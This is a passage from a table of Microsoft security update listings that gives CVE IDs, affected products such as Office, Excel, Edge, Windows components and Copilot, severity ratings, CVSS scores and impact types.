4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  